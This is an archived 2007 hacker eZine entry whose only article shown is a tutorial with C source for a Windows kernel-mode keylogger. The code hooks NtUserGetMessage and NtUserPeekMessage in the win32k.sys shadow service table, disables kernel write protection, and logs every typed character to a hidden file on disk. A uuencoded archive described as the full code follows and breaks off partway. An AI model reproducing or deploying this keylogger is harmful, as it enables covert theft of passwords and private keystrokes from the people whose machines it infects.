.aware eZine Beta - Overground Hacking

EDB-ID:

13069

CVE:

N/A


Author:

.aware

Type:

papers


Platform:

eZine

Date:

2007-10-17


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

[==============================================================================]
  mov al,13h   ;  .aware cr3w sets the correct video m0de   -   =   === == ====]
  int 10h      ;  -      =     =    =   = ===   === == === == = = =========== =]


                     .aware eZine Beta - Overground Hacking!

                     Too much technology, in too little time.

                               _..gggggppppp.._
                          _.go101110000010111010op._
                       .g1101100101000011010101001001p.
                    .g1011001101100000100001100110101100p.
                  .o10111001100101111101010111001110101110o.
                .o010011100101110000101111011010000100001100o.
               o0001101001100001101101000101100001010011100110o
              o111010110010111110000000001101101111110111011101o
             o11010100000110001000000101111000011010110010110001o
            o0010110011010000000010000100010011011000001110000111o
           o011110101101100000110100101010001001100110101101101100o
          :10011111001001010001101010110100010011111100010001011000;
          1000101111010111001111001110000111010100101111101101100111
         :0000110100101111101001101001011110111101010111001100000101;
         111011111000000101111101001111001101000110101011011001011001
        :111000100111010000111100010000110111011001110101011110000100;
        :101111001100100011000001111110110100101101110101101010111010;
        10101011000000000111000001111111011100001110100101110010000101
        11001001101010100001010110111101101011011110110011111010111011
        :101001010101101111000010100010011P"'    "Q111100011100101011;
        :001001001101010111001110010010101Y        Y01010011110111010;
         110001111000110100100110010100110          01010100110000111
         :00010110000101111010100101010011.        .0011110001011001;
          10111110011000011111001001110101O        O1010111110001000
          :11000001100011011011011100000000o,_  _,o0010011100110010;
           T110101001110010000110110111000001010000000100011000010P
            T0110011000101011101011101000000101111111111001001000P
             T00110111111001010010011101110110110001110001101111P
              T111001010010111111010101001111000011101111000101P
               T1110000110010100101111001111101011000000101011P
                `T100100101011001110111100001101011000100011P'
                  `T11111001011011000110000011100101010111P'
                    "^1111011011111101010101011101111000^"
                       "^T01001111111100111100001000P^"
                           '""^^^T0011101011T^^^""'


    It has been hard, but we've nagged our way through to this very release
    of the second .aware eZine. Rattle was the strongest supporter of ASCII
    only formatting,  but is now breaking that rule with an article, simply
    unpresentable in ASCII. Since it is also quite a lot of math and not so
    much h4x, it is published separately as a PDF. You should check it out,
    anyway.

    We also  highly encourage you  to give the brainfuck  challenge in the 
    outr0 a go. It is entirely self-rewarding, but the first one to get it
    might quickly render the reward useless for anyone else! Excited? Then
    go for it! But now, with no further delay -


                                Enjoy the zine.

 
[==============================================================================]

       1 Keyboard Independent Keylogger      C0ldCrow 
       2 Big Integer Arithmetics             rattle ::: (released as pdf)
       2 PreCracking For Dummies             iqlord 
       3 Hackformed                          zshzn 
       4 Beating WinNT Counter Exploitation  Nomenumbra 
       5 outr0                               the crew 

[==============================================================================]
                    [ http://www.awarenetwork.org/etc/beta/ ]




--------------------------------------------------------------------------------
[==============================================================================]
[------------[ Windows Kernelmode, Keyboard Independant Keylogger ]------------]
[==============================================================================]


       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/Ž_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>'<######                                     
  *#########(   )####* 
   ##########>.<#####    author:  C0ldCrow
    ################     email:   c0ldcrow.don@gmail.com
     *############*       
       "T######T"



--[ 1 ]------------------------------------------------------[ Motivation ]-----

First, what do I mean when I say: "keyboard independent keylogger"? I mean a
keylogger that won't have to deal with low level keyboard management. One that
does not need to translate any hardware scan codes or virtual-key codes into
characters. A keylogger that doesn't have to care about the keyboard layout or
thelike. In short - a keylogger that will only catch and capture letters that
the user actually types.

When I began to write my keylogger I started with a standard filtered driver
approach. Writing a kernel driver that would capture keystrokes wasn't very
hard, since all of that is rather well documented and you can find source code
examples. Nonetheless, I gave up.

The utter reason for my failure was the translation of key scancodes into
usable characters. I looked at one piece of example code and got a bit scared.
Way too many keys. In fact, I couldn't even work with the code because I am 
using a Croatian keyboard layout and Croatian language has some characters 
outside of the "standard" ascii table. [ Editor's Note: As does German. ]
I was too lazy to implent that. Also considering that QWERTY type keyboards 
aren't the only ones (DVORAK), I approached the issue at a higher layer.

Every r3 application I have written so far doesn't have to deal with translating
virtual-key codes into characters. From the point of your program, user input
comes in form of a characters or text. That means that someone/something has
already translated keyboard specific codes into acceptable input for the
program. Thus, if we could somehow deduce how that process works, maybe we
could write some code that captures characters *right* before they hit userland.


--[ 2 ]------------------------------------[ Keyboard Input in Windows OS ]-----

The Windows operating system provides an event-driven environment to userland
applications, where they do not have to call any OS functions to obtain user
input. Instead, an application waits until the system delivers the input to it.
We'll start by tracing the keyboard input, from the point when the user presses
the key on the keyboard, to the time when the input is delivered to the
application.

As soon as a key is pressed, the keyboard generates a unique device-dependent
value that corresponds to the keys so-called "scan code". Thus, using a scan
code, we can determine which key was pressed. However, the key term here is a
scan code's "device dependence". This means, it can differ from keyboard to
keyboard. Scan codes are "delivered" to the keyboard device driver (details of
this delivery are not important to us, it involves interrupt dispatching).
The keyboard device driver understands the scan code, because it has been 
specifically designed for a particular (branch of) keyboard and now translates
the scan code to the so-called virtual key code.

MSDN describes the virtual key code as a device independent value, defined by
the system to uniquely identify the purpose of a certain key. Keyboard drivers
generate a message structure that includes the scan code, the virtual key code
and further information about the key, then places it in the system message
queue. The system removes messages from the system message queue and places
them in the thread message queue. Messages from the thread message queue are
removed by the thread message loop and passed on to the window procedure for
processing. All of this is documented in greater detail on [MSDN].

So, the system generates a message when the user presses the key. That message
identifies the key that was pressed. It will first pend in the system message 
queue and then end up in the per-thread message queue.
We now have a rough idea about what we need to do: We need to intercept these
said messages. That said, we only have a hand full of locations where we can
do so. Upon entering or leaving the system message queue, or upon entering or
leaving the thread message queue.

The "MSG" structure is used to pass messages around in Windows OS. Among other
things, it contains an identifier to distinguish various types of messages.
Messages that are generated as a result of keytaps can be of the type WM_KEYUP,
WM_KEYDOW, WM_SYSKEYUP, WM_SYSKEYDOWN or WM_CHAR. Messages of this kind are 
sent to the thread message queue of the thread with a window bearing the 
property "keyboard focus".
WM_CHAR messages are of particular interest to us, since it carries the
character code corresponding to the pressed key. Hence, we will try to capture
every single WM_CHAR message upon leaving the thread message queue, in order to
implement our keylogger. 


--[ 3 ]-------------------------------------[ Attacking with GetMessage() ]-----

We'll try capturing WM_CHAR messages by hooking the GetMessage() API.
GetMessage() is used by Windows applications to retrieve a message from its 
message queue. GetMessage() dequeues all types of messages, including WM_CHAR.
Provided that a thread uses no other calls for obtaining messages, hooking the
GetMessage() call should be sufficient.

GetMessage() belongs to the user and GDI functions, and is defined in 
user32.dll. Poking around user32.dll with IDA we can quickly spot the underlying
call to _NtUserGetMessage():

--------------------------------------------------------------------------------
.text:77D4918F                 mov     eax, 11A5h
.text:77D49194                 mov     edx, 7FFE0300h
.text:77D49199                 call    dword ptr [edx]
--------------------------------------------------------------------------------

It's a call to ntdll.dll - and over there, we have the "sysenter" instruction.
Hence, the Windows kernel component behind GetMessage() is NtUserGetMessage().
It resides in win32k.sys, the kernel part of the Windows subsystem holding user
and GDI functions.
We have an index to NtUserGetMessage (0x11a5), which is used by the system 
service dispatcher to calculate the actual function addresses. Theoretically
speaking, that's all the information we need to hook NtUserGetMessage.


--[ 4 ]-------------------------------------------[ Hooking in win32k.sys ]-----

Hooking syscalls from win32k.sys is more complicated than hooking syscalls in
ntoskrnl.exe, and lack of thorough online literature isn't helping either. Here
is a small list of problems that would not appear when working inside
ntoskrnl.exe:

The first problem is finding the offset of the shadow table, holding the 
addresses of all sycall functions defined in win32k.sys.

-------------------------------------------------------------------[ Note ]-----

Just a little off topic bit on terminology. When I say "System Service 
Descriptor Table", I refer to the following data structure:

typedef struct _SSDT_DescriptorTables {
    ServiceDescriptorEntry ServiceTables[4];
} SSDTDescriptorTables;

Likewise, we will refer to the following data structure as the "System Service
Descriptor Table Entry":

typedef struct _ServiceDescriptorEntry {
    ULONG *ServiceTableBase;
    ULONG *ServiceCounterTableBase;
    ULONG NumberOfServices;
    UCHAR *ParamTableBase;
} ServiceDescriptorEntry;

Also, the term "System Service Dispatch Table" will be the name for the whole 
array of addresses to sycall functions in win32k.sys. That array starts at
an address stored in ServiceDescriptorEntry.ServiceTableBase.

Shorthands:
 System Service Descriptor Table        -  Descriptor Table
 System Service Dispatch Tabel          -  Dispatch Table
 System Service Descriptor Table Entry  -  Descriptor Entry
 
--------------------------------------------------------------------------------

Thus, we need to find the address of the descriptor table that holds the
descriptor entry of win32k.sys' dispatch table. In the Windows kernel, there are
exactly two descriptor tables. One holds only the entry for ntoskrnl.exe's 
dispatch table, and the other one holds entries for both ntoskrnl.exe's and 
win32k.sys' dispatch tables.

I have come across one approach for finding the desired address on [AVO], based
on comparing descriptor talbe offsets to the address of the ntoskrnl.exe 
descriptor table. It works on versions of Windows up to XP SP2.
I have devised a slightly different method, which I prefer, though. The idea
derives from the observation that the address of win32k.sys' descriptor table is
held in the ETHREAD block of every GUI thread running on the system, under the 
field "ServiceTable". You can easiely get the field's offset with WinDbg:

  kd>dt _ethread
  (...)
  +0xe0 ServiceTable     : Ptr32 Void
  (...)

Since we can obtain the address of ntoskrnl.exe's descriptor table simply by 
importing it in our code, we can traverse the ETHREAD linked list, checking each
ServiceTable field and compare it to the address of ntoskrnl.exe's descriptor.
When they differ, we can conclude that we found address of win32k.sys' service
descriptor table.

NOTE: This method has an obvious, known drawback: It uses hardcoded offsets,
which can differ across distinct versions of Windows.

To find a GUI thread, we will first discover the EPROCESS block of a GUI 
process. We can do so by traversing the EPROCESS list, checking the Win32Process
field of each block, at offset 0x130. For GUI processes, it is reserved for a
pointer to a win32k.sys internal data structure, maintained by the kernel 
driver. Non-GUI processes have this field set to NULL. From the EPROCESS block
of a GUI process, we'll then jump to its ETHREAD list and look for a GUI thread.
This is the code:

--------------------------------------------------------------------------------

#define OffsetEP_Win32Process 0x130 // EPROCESS.Win32Process
#define OffsetEP_NextEPFlink  0x88  // EPROCESS.ActiveProcessLink.Flink
#define OffsetEP_NextETFlink  0x50  // EPROCESS.KPROCESS.ThreadListEntry.Flink
#define OffsetET_NextKTFlink  0x1b0 // ETHREAD.KTHREAD.ThreadListEntry.Flink
#define OffsetET_NextETFlink  0x22c // ETHREAD.ThreadListEntry.Flink
#define OffsetET_ServiceTable 0xe0  // ETHREAD.KTHREAD.ServiceTable

#pragma pack(1)
typedef struct _ServiceDescriptorEntry {
    ULONG *ServiceTableBase;
    ULONG *ServiceCounterTableBase;
    ULONG NumberOfServices;
    UCHAR *ParamTableBase;
} ServiceDescriptorEntry;
#pragma pack()

typedef struct _SSDT_DescriptorTables {
    ServiceDescriptorEntry ServiceTables[4];
} SSDTDescriptorTables;

extern ServiceDescriptorEntry KeServiceDescriptorTable;

ULONG FindGUIProcess(void)
{
    ULONG CurrentEproc, Win32Process, StartEproc;
    PLIST_ENTRY  ProcessLink=NULL;
    int          Count=0;

    CurrentEproc=Win32Process=StartEproc=0;
    CurrentEproc=(ULONG)PsGetCurrentProcess();
    StartEproc=CurrentEproc;
    Win32Process=*((ULONG *)(CurrentEproc+OffsetEP_Win32Process));

    while(1)
    {
        if( Win32Process!=0 )
            return CurrentEproc;
        if( (Count>=1)&&(CurrentEproc==StartEproc) )
            return 0;

        ProcessLink=(PLIST_ENTRY)(CurrentEproc+OffsetEP_NextEPFlink);
        CurrentEproc=(ULONG)ProcessLink->Flink;
        CurrentEproc=CurrentEproc-OffsetEP_NextEPFlink;
        Win32Process=*((ULONG *)(CurrentEproc+OffsetEP_Win32Process));
        Count++;
    }

    return 0;
}

ULONG FindShadowTable(ULONG GUIEprocess)
{
    ULONG CurrentEthread, CurrentTable, StartEthread, ServiceTable;
    PLIST_ENTRY ThreadLink=NULL;
    int Count=0;

    CurrentEthread=CurrentTable=StartEthread=ServiceTable=0;
    ServiceTable=(ULONG)*(&(KeServiceDescriptorTable.ServiceTableBase));
    CurrentEthread=*((ULONG *)(GUIEprocess+OffsetEP_NextETFlink));
    CurrentEthread=CurrentEthread-OffsetET_NextKTFlink;
    StartEthread=CurrentEthread;
    CurrentTable=*((ULONG *)(CurrentEthread+OffsetET_ServiceTable));

    while(1)
    {
        if( CurrentTable!=ServiceTable )
            return CurrentTable;

        if( (Count>=1)&&(CurrentEthread==StartEthread) )
            return 0;

        ThreadLink=(PLIST_ENTRY)(CurrentEthread+OffsetET_NextETFlink);
        CurrentEthread=(ULONG)ThreadLink->Flink;
        CurrentEthread=CurrentEthread-OffsetET_NextETFlink;
        CurrentTable=*((ULONG *)(CurrentEthread+OffsetET_ServiceTable));
        Count++;
    }

    return 0;
}

NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,
 IN PUNICODE_STRING RegistryPath)
{
    ULONG GUIEprocess, *GetMessageAddr;
    SSDTDescriptorTables *ShadowTable=NULL;

    GUIEprocess=0;

    KeEnterCriticalRegion();
    GUIEprocess=FindGUIProcess();
    KeLeaveCriticalRegion();

    KeEnterCriticalRegion();
    ShadowTable=(SSDTDescriptorTables *)FindShadowTable(GUIEprocess);
    KeLeaveCriticalRegion();
}

--------------------------------------------------------------------------------

The functions FindGUIEprocess() and FindShadowTable() do the actual work.

The second problem when hooking inside win32k.sys is this: Even with the address
of Dispatch Table we won't be able to use it. The win32k.sys driver is pagable,
similar to the user land process. Virtual addresses that refer to the win32k.sys
have a meaning only in the context of a GUI process which uses the services from
win32k.sys. In any other context, these addresses are invalid, and will usually
result in PAGE_FAULT_IN_NONPAGED_AREA BSOD. So, in order to read or write to the
dispatch table, our driver needs to have the same context as this GUI process.

This could be achieved by writing a small r3 program to create a GUI thread and
then send an IOCTL to the driver to execute it in context of that GUI thread.
This seems like an awful lot of work for such a simple task. I think it's
better to use FindGUIProcess() and then KeAttachProcess() to that GUI process,
then detach as soon as we're done.
      
And here it is, the actual code that performs the NewGetUserMessage() hook.

--------------------------------------------------------------------------------

#define INDEX_GETMESSAGE 0x1a5

/*  This is because of the way the windows system service
    dispatcher works. It uses the 13th and 12th bit of the
    index to indicate which descriptor table to look it
    up in. That is why we use 0x1a5 as our offset, rather
    than 0x11a5.
*/


typedef NTSTATUS (*NTUSERGETMESSAGE)(OUT ULONG pMsg,
                                     IN ULONG hWnd,
                                     IN ULONG FilterMin,
                                     IN ULONG FilterMax);
NTUSERGETMESSAGE OldGetMessage;

typedef struct _POINT {
    ULONG x;
    ULONG y;
} POINT;

typedef struct _MSG {
    ULONG hWnd;
    ULONG message;
    ULONG wParam;
    ULONG lParam;
    ULONG time;
    POINT pt;
} MSG, *PMSG;

NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin,
 IN ULONG FilterMax)
{
    NTSTATUS APIStatus;
    PMSG MsgStruct;

    APIStatus=OldGetMessage(pMsg, hWnd, FilterMin, FilterMax);

    MsgStruct=(PMSG)pMsg;
    if( MsgStruct->message==WM_CHAR )
    {
        /* Message we're looking for */
    }

    return APIStatus;
}


/* This code should be inside DriverEntry() */
GetMessageAddr=ShadowTable->ServiceTables[1].ServiceTableBase+INDEX_GETMESSAGE;

KeAttachProcess((PEPROCESS)GUIEprocess);

OldGetMessage=(NTUSERGETMESSAGE)(*GetMessageAddr);

_asm
{
    cli
    mov eax, cr0
    and eax, not 10000H
    mov cr0, eax
}
*GetMessageAddr=NewGetMessage;
_asm
{
    mov eax, cr0
    or eax, 10000H
    mov cr0, eax
    sti
}

KeDetachProcess();

--------------------------------------------------------------------------------

Using the standard cr0 trick and disableing interrupts - not good practice. On
MP machines we would need to use more robust protection mechanisms, atomic 
functions, etcetera.


--[ 5 ]-----------------------[ Another Part of the Story - PeekMessage() ]-----

The presented keylogger will work, but it won't capture every WM_CHAR message if
you run a test. In fact, it catches around half the characters you type.
Given these results, we can only conclude that not all threads use GetMessage()
as the only method to dequeue messages. To make a long story short, we need to
hook PeekMessage() as well.

Applications can use predefined objects to create the user interface. A simple
example is an edit box control. Your code can call the function 
GetDlgItemText() to retrieve the text from the edit box. It doesn't have to call
GetMessage() or PeekMessage() at all in order to do so. This is possible because
the code responsible for creating and maintaining the edit box is contained 
entirely in user32.dll. It includes a small internal message loop which uses
PeekMessage(), sometimes setting the last parameter to PM_REMOVE.

You can watch this with OllyDbg. If you examine the execution of
GetDlgItemText(), you'll see it doesn't "go into kernel" to get the text, but 
rather does it copy the text from a user address space location to the
buffer provided.

By hooking PeekMessage(), we can capture all of the WM_CHAR messages. Hooking is
exactly the same as with NtUserGetMessage(): The only thing left to know is the 
index of NtUserPeekMessage in the dispatch table. It is 0x11DA, which basically 
means an offset of 0x1da.


--[ 6 ]--------------------------------------------[ The keylogger engine ]-----

In the end we need to code the keylogger engine itself. This is pretty much the
same as you would expect it in any keylogger. We need to decide on how to write
the captured keystrokes to file, create an output format for our the keystroke
data and the information that needs to be logged along with them (time, window 
title...). This is pretty much a matter of the programmer's preference.

I'll only point out some implementation issues with the keylogger which you will
have to concern yourself with. The first one is synchronization: We have two 
functions that capture keystrokes. Since they write the captured data to the
same memory buffer we need to synchronize their access to the shared buffer. 
The kernel provides a great deal of synchronization features - among the best, 
for our case, are mutex objects: Our hook function will not be allowed to write
to the buffer unless it owns the mutex object. When the buffer is full, the 
function that hit the threshold will create a thread to dump the buffer content
to file, while setting up a temporary buffer for loggin, during the time of the
write. A much better solution would be not to create a new thread every time,
but rather create a single thread during boot time and wake it up periodically 
as soon there is work to be done.

This code demonstrates the use of mutex objects to achieve synchronization:

--------------------------------------------------------------------------------

#define PM_REMOVE          0x0001 // Remove flag for PeekMessage from winuser.h
#define WRITE_BUFFER_SIZE  10
#define NUM_KEYS           256
#define LOG_FILENAME       L"\\DosDevices\\c:\\klogfile.txt"

/* Data about the key we're going to collect */
typedef struct _KEY_DATA {
    ULONG CharCode;
} KEY_DATA;

/* This structure represents memory buffer that
   holds data before writing it to disk */
typedef struct _MEMBUFF {
    KEY_DATA Keys[NUM_KEYS];
    int KeysIndex;
} KEYMEMBUFF, *PKEYMEMBUFF;

void WorkerThread (IN PVOID BufferStruct)
{
    PKEYMEMBUFF Buffer;
    IO_STATUS_BLOCK FileStatus, WriteStatus;
    HANDLE FileHandle;
    int i, WriteSize;
    unsigned char AscIIChar, WriteBuffer[WRITE_BUFFER_SIZE];

    Buffer=(PKEYMEMBUFF)BufferStruct;
    ZwCreateFile(&FileHandle,
                 FILE_APPEND_DATA | SYNCHRONIZE,
                 &LogFileObjAttrib,
                 &FileStatus, NULL,
                 FILE_ATTRIBUTE_NORMAL, 0,
                 FILE_OPEN_IF,
                 FILE_SYNCHRONOUS_IO_NONALERT,
                 NULL, 0);

    for(i=0; i<Buffer->KeysIndex; i++)
    {
        memset(WriteBuffer, 0, WRITE_BUFFER_SIZE);
        AscIIChar=*((unsigned char *)&(Buffer->Keys[i].CharCode));
        switch(AscIIChar)
        {
            case 0x8:
                strncpy(WriteBuffer, "<BS>", WRITE_BUFFER_SIZE-1);
                WriteSize=4;
            break;

            case 0x1b:
                strncpy(WriteBuffer, "<ESC>", WRITE_BUFFER_SIZE-1);
                WriteSize=5;
            break;

            case 0x7f:
                strncpy(WriteBuffer, "<DEL>", WRITE_BUFFER_SIZE-1);
                WriteSize=5;
            break;

            default:
                WriteBuffer[0]=AscIIChar;
                WriteSize=1;
            break;
        }
        ZwWriteFile(FileHandle, NULL, NULL, NULL, &WriteStatus, WriteBuffer,
         WriteSize, NULL, NULL);
    }

    Buffer->KeysIndex=0;
    ZwClose(FileHandle);
    PsTerminateSystemThread(0);
}

/* Same as for NtUserGetMessage, just different function */
NTSTATUS NTAPI NewPeekMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin,
 IN ULONG FilterMax, IN ULONG RemoveMsg)
{
    NTSTATUS APIStatus, Status;
    PMSG MsgStruct;
    HANDLE WorkerThreadHandle;

    APIStatus=OldPeekMessage(pMsg, hWnd, FilterMin, FilterMax, RemoveMsg);

    MsgStruct=(PMSG)pMsg;
    if( (MsgStruct->message==WM_CHAR) && (RemoveMsg==PM_REMOVE) )
    {
        Status=KeWaitForSingleObject((PVOID)&MemBuffMutex, UserRequest, 
            KernelMode, FALSE, NULL);
        if(Status==STATUS_SUCCESS)
        {
            if(ActiveBuffer->KeysIndex==NUM_KEYS)
            {
                PsCreateSystemThread(&WorkerThreadHandle, THREAD_ALL_ACCESS, 
                    NULL, NULL, NULL, WorkerThread, ActiveBuffer);
                ZwClose(WorkerThreadHandle);
                ActiveBuffer=(ActiveBuffer==&Buffer1) ? &Buffer2 : &Buffer1;
            }
            ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode
                = MsgStruct->wParam;
            ActiveBuffer->KeysIndex++;

            KeReleaseMutex(&MemBuffMutex, FALSE);
        }
    }

    return APIStatus;
}

/* Our replacement function for NtUserGetMessage() */
NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin,
    IN ULONG FilterMax)
{
    NTSTATUS APIStatus, Status;
    PMSG MsgStruct;
    HANDLE WorkerThreadHandle;

    /* Call the original function */
    APIStatus=OldGetMessage(pMsg, hWnd, FilterMin, FilterMax);

    MsgStruct=(PMSG)pMsg;
    if( MsgStruct->message==WM_CHAR ) /* Message we are looking for */
    {
        /* Here we try to get exclusive access to the shared buffer untill call
           to KeReleseMutex() there should be only one function running this
           code. Also we need to look when the buffer is full and then create 
           the thread to write it to the disk */
           
        Status=KeWaitForSingleObject((PVOID)&MemBuffMutex, UserRequest, 
            KernelMode, FALSE, NULL);
            
        if(Status==STATUS_SUCCESS)
        {
            if(ActiveBuffer->KeysIndex==NUM_KEYS) // If current buffer is full
            {
                /* Empty the buffer by creating the thread that will write 
                   data to disk */
                PsCreateSystemThread(&WorkerThreadHandle, THREAD_ALL_ACCESS,
                    NULL, NULL, NULL, WorkerThread, ActiveBuffer);
                ZwClose(WorkerThreadHandle);
                
                /* While thread is working, switch to the next buffer so we 
                   can continue logging */
                ActiveBuffer=(ActiveBuffer==&Buffer1) ? &Buffer2 : &Buffer1;
            }

            ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode
                = MsgStruct->wParam;
            ActiveBuffer->KeysIndex++;

            /* Done with our code, relese the mutex */
            KeReleaseMutex(&MemBuffMutex, FALSE);
        }
    }

    return APIStatus; /* Return to the user */
}
--------------------------------------------------------------------------------

Some of it is explained in the comments. I'll try and fill in the gaps.

ActiveBuffer, Buffer1 and Buffer2 are pointers to KEYMEMBUFF (our custom defined
memory buffer). After acquiring the mutex, our hook function checks whether the
buffer is full. If this is the case, it creates the thread and changes the 
active buffer to the second one (there are two buffers allocated). Hence, the 
thread can take it's time working with the buffer provided to it.

The NewPeekMessage() hook function checks for the RemoveMsg flag. If it's set,
it logs the key, otherwise it just returns. The reason for this is obvious: If 
PeekMessage() removes the message from the thread queue, then there is no way
for GetMessage() to capture the same message. Since GetMessage() always removes
the message from the queue, we can be sure that every message will get picked up
eventualy.


--[ 7 ]---------------------------------------------------------[ The End ]-----

There is a lot of room for improvement in this code. I simply hope that I 
described an interesting approach to creating keyloggers. Also, PeekMessage() 
and GetMessage() aren't limited to capturing WM_CHAR messages, so you can capture
all sorts of messages that get "sent" to different applications. The complete
code I wrote is attached, uuencoded, at the end.

In the end I would like to give some shouts to hess (my attorney :) and all of 
the guys at #croatianz. 

Thank you for reading.


--[ 8 ]------------------------------------------------------[ References ]-----

[MSDN] Microsoft Developper Network Library
       <http://msdn.microsoft.com/>

 [AVO] Alexander Volynkin, Obtaining KeServiceDescriptorTableShadow address in
       Windows XP Kernel mode. 
       <http://www.volynkin.com/sdts.htm>

  [1.] Oney, Walter, Programming the Microsoft Windows Driver Model,
       Microsoft Press, Washington 2003

  [2.] http://www.rootkit.com/vault/Clandestiny/Klog%201.0.zip

  [3.] http://msdn2.microsoft.com/en-us/library/ms646267.aspx

  [4.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx

  [5.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx

  [6.] http://msdn2.microsoft.com/en-us/library/ms644928.aspx

  [7.] Mark E. Russinovich, David A. Solomon;
       Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server
       Microsoft Press, Washington 2005
       Chapter 3 - System Mechanisms : Trap Dispatching

  [8.] http://www.volynkin.com/sdts.htm

  [9.] Mark E. Russinovich, David A. Solomon;
       Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server
       Microsoft Press, Washington 2005
       Chapter 6 - Processes, Threads, and Jobs : Thread Internals

 [10.] http://www.rootkit.com/newsread.php?newsid=137



--[ Appendix ]-----------------------------------------------------[ Code ]-----

begin 644 Code.zip
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
